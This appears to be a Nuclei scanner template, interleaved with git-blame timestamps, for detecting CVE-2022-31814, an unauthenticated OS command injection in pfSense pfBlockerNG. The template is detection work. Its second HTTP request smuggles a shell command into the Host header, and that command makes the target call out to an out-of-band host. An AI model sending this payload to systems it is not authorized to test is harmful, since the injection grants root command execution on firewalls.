2022-09-19 14:12:25 +00:00
id : CVE-2022-31814
2022-10-10 19:22:59 +00:00
2022-09-19 14:12:25 +00:00
info :
2022-10-10 19:22:59 +00:00
name : pfSense pfBlockerNG <=2.1..4_26 - OS Command Injection
2022-09-19 14:12:25 +00:00
author : EvergreenCartoons
severity : critical
description : |
2022-10-10 19:22:59 +00:00
pfSense pfBlockerNG through 2.1.4_26 is susceptible to OS command injection via root via shell metacharacters in the HTTP Host header. NOTE : 3. x is unaffected.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade to a patched version of pfSense pfBlockerNG (>=2.1..4_27) to mitigate this vulnerability.
2022-09-19 14:12:25 +00:00
reference :
- https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
- https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
- https://github.com/EvergreenCartoons/SenselessViolence
- https://nvd.nist.gov/vuln/detail/CVE-2022-31814
2023-07-11 19:49:27 +00:00
- http://packetstormsecurity.com/files/171123/pfBlockerNG-2.1.4_26-Remote-Code-Execution.html
2022-09-19 14:12:25 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-31814
2023-08-31 11:46:18 +00:00
cwe-id : CWE-78
2024-05-31 19:23:20 +00:00
epss-score : 0.97252
epss-percentile : 0.99847
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:netgate:pfblockerng:*:*:*:*:*:pfsense:*:*
2022-09-22 06:47:57 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : netgate
product : pfblockerng
2023-09-06 11:59:08 +00:00
framework : pfsense
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,packetstorm,pfsense,pfblockerng,rce,oast,netgate
2022-09-19 14:12:25 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-09-19 14:12:25 +00:00
- raw :
2022-09-23 10:55:47 +00:00
- |+
GET /pfblockerng/www/index.php HTTP/1.1
Host : {{Hostname}}
Accept : */*
2022-09-19 14:12:25 +00:00
- |+
GET /pfblockerng/www/index.php HTTP/1.1
Host : ' *; host {{interactsh-url}}; '
Accept : */*
2022-09-22 06:47:57 +00:00
unsafe : true
2023-07-11 19:49:27 +00:00
2022-09-22 06:47:57 +00:00
matchers-condition : and
2022-09-19 14:12:25 +00:00
matchers :
2023-07-11 19:49:27 +00:00
- type : dsl
dsl :
- 'contains(body_1, "GIF")'
2022-09-19 14:12:25 +00:00
- type : word
part : interactsh_protocol # Confirms the DNS Interaction
words :
- "dns"
2024-06-01 06:53:00 +00:00
# digest: 490a00463044022061419438c8476d852bc22439b5c66b71568aad15d15612a46c47e36f01fe39480220765d71411609420dc5e405527ddf064c99aebf007b49df48f136a41430a61e30:922c64590222798bb761d5b6d8e72950